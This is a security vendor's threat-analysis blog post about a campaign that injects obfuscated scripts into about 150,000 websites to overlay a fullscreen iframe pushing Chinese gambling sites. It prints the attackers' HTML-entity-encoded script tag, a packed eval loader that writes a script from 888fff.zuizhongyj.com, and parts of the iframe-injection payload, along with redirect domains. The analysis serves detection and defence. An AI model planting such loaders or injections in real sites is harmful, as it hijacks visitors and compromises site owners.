Skip to main content
Blog
Blog Attacks

Over 150K websites hit by full-page hijack linking to Chinese gambling sites

We estimate that approximately 150,000 websites have been impacted by this campaign. The script defines an array of keywords related to betting, gambling, and casino brands both in English and Chinese.

Mar 26, 2025 Updated Jul 20, 2026 5 min read
150k-websites-article-image-cover
Table of Contents

TL;DR: HTML-entity encoded iframe hijack pushing Chinese gambling brands at 150K scale

  • Scaled past the takedown: Everyone celebrates when a campaign gets a takedown headline. Attackers just scale from 35,000 sites to 150,000, add Bet365 branding for legitimacy, and swap obfuscation from Unicode escapes to HTML entity encoding to slip past the same static scanners that reported the win.
  • How it hid: The keyword-based script matched titles against bet365, WilliamHill, 12bet, w88, and Chinese brands 宝威 and 太阳城, then wrote a fullscreen iframe pointing at 888fff.zuizhongyj[.]com and destinations like 551007t[.]cc, t399229[.]com and W88in[.]com. cside monitors runtime iframe injections and script behavior on real visitors, not the static snapshot the crawler sees.
  • Retire domain-list tracking: If you track this class of attack by domain lists alone, retire that habit this quarter. The infrastructure moved to HTML entity encoding and mutation-observer viewport enforcement, and your only remaining checkpoint is what the visitor's browser actually renders.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

In February, we uncovered a threat actor targeting over 35,000 websites with a malicious full-page hijack injection. We've continued to monitor this actor's activities and have identified new tactics and techniques. They've scaled up their operations significantly, as we now estimate that approximately 150,000 websites have been impacted by this campaign.

What's new in this attack?

UI/UX changes

The threat actor has slightly revamped their interface but is still relying on an iframe injection to display a full-screen overlay in the visitor's browser. Here's an example of one of their latest injected pages:

Injected fullscreen overlay showing the threat actor's redesigned gambling landing page

Even though the visuals and layout may differ, the underlying injection method remains the same.

Code snippet showing the injection method that stayed the same despite the redesigned interface

Variations on the same theme

Another variation of this attack shows similar behavior, injecting scripts and iframes that impersonate legitimate betting websites such as Bet365. In many instances, official logos and branding are reused to make the attack appear more convincing.

Fake gambling page impersonating Bet365 branding to appear legitimate

HTML entity encoding in the injected code

In static code, the malicious JavaScript is injected:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="&#47;&#64;&#112;&#117;&#98;&#108;&#105;&#99;&#47;&#98;&#97;&#115;&#101;&#46;&#106;&#115;"></script>

This is an instance of HTML Entity encoding, a different way of obfuscating code. It makes the injected script less obvious at first glance. Decoding this snippet back into plain text reveals:

<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Decoded HTML entity-encoded script tag revealing the /@public/base.js payload
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7  \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))

You can decode HTML Entity-encoded text using free tools likeCyberChef.

Within this attack, there's also JavaScript that decodes itself to:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
  '\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22  \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);

Which eventually writes:

<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>

Attackers use obfuscation to hide the true nature of the script from quick scans or less sophisticated detections.

Analyzing the final JavaScript payload

Below are some key details from the final script:

Keyword-based detection logic The script defines an array of keywords related to betting, gambling, and casino brands both in English and Chinese (e.g., bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).

It then checks the <title> tag of the current page against this list:

var keyWord = [
  { key: [...], id: 1 },
  ...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
  a = keyWord[i].id;
  c = '?id=';
  ...
}

Once a match is found, the script sets up an ID parameter (?id=) for use in the next stage of the redirect.

Viewport Tag enforcement The code includes handleViewportTag(); plus a mutation observer and a setInterval call to repeatedly insert a mobile-friendly viewport:

<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">

This ensures the fullscreen overlay displays correctly on mobile devices.

Fullscreen overlay + iframe injection The attacker's script creates a <div class="lbb"> that covers the entire screen (via CSS position: fixed; z-index: 9999; ...) and injects a fullscreen <iframe>:

var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');

Anyone visiting the compromised site sees the malicious gambling landing page instead of the legitimate page content.

Redirect destinations

We observed multiple redirect URLs during analysis, including:

hxxps://551007t[.]cc/

Chinese gambling landing page served at the 551007t[.]cc redirect destination
Second view of the gambling site served at the 551007t[.]cc redirect destination

hxxps://t399229[.]com/

Chinese gambling landing page served at the t399229[.]com redirect destination

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

Access-restricted page shown at the wa38di[.]com redirect endpoint

(Previously seen in other campaigns)

hxxps://W88in[.]com

Chinese gambling landing page served at the W88in[.]com redirect destination

hxxps://b217102[.]cc/

Chinese gambling landing page served at the b217102[.]cc redirect destination

hxxps://g977115[.]com/

Chinese gambling landing page served at the g977115[.]com redirect destination

hxxps://lucky298[.]com/

Several of these sites selectively block traffic from specific regions, leading us to suspect the primary targets are Chinese-speaking users in China, Hong Kong, and the United States.

Scale of the attack: 150K websites (and counting)

Using public search tools (e.g., PublicWWW), we clustered all websites that include the obfuscated script snippet. At the time of our analysis, we identified over 150,000 unique sites. You can see a live query of these infections here.

This attack shows how threat actors keep adapting: they expand their reach and add new layers of obfuscation. Client-side attacks like these are increasing, with new findings appearing regularly.

If you suspect your site might be impacted, review all scripts for hidden HTML entity encoding or suspicious <iframe> injections. Ongoing vigilance and regular site auditing remain your best defenses against attacks like these.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor and Secure Your Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start free, or try Business with a 14-day trial.

cside dashboard interface showing script monitoring and security analytics
Related Articles
Book a demo

Want to walk through this with an engineer?

Thirty minutes, on your own site. Not a slide deck.

Book a personalized demo to see:

How to achieve PCI DSS requirement 6.4.3 & 11.6.1 compliance in 1 day
Why third-party scripts are a security risk for you and your visitors
Monitoring privacy and consent leakage (GDPR, CCPA) across every third party
Stopping signup abuse, account sharing, and chargeback fraud with device intelligence
Detecting and controlling AI agents and bots hitting your site in real time

Rather just send a question?

Finding open slots…

Real humans only. We'd know.

Having trouble booking? Open scheduler in a new tab

What are you trying to solve?

Tell us in a line and we'll come back with something useful, not a generic pitch.

We usually help with:

Seeing which third-party scripts run on your site
PCI DSS 6.4.3 and 11.6.1 evidence
Bots, AI agents and account takeover

Prefer to just book a time? Pick a slot instead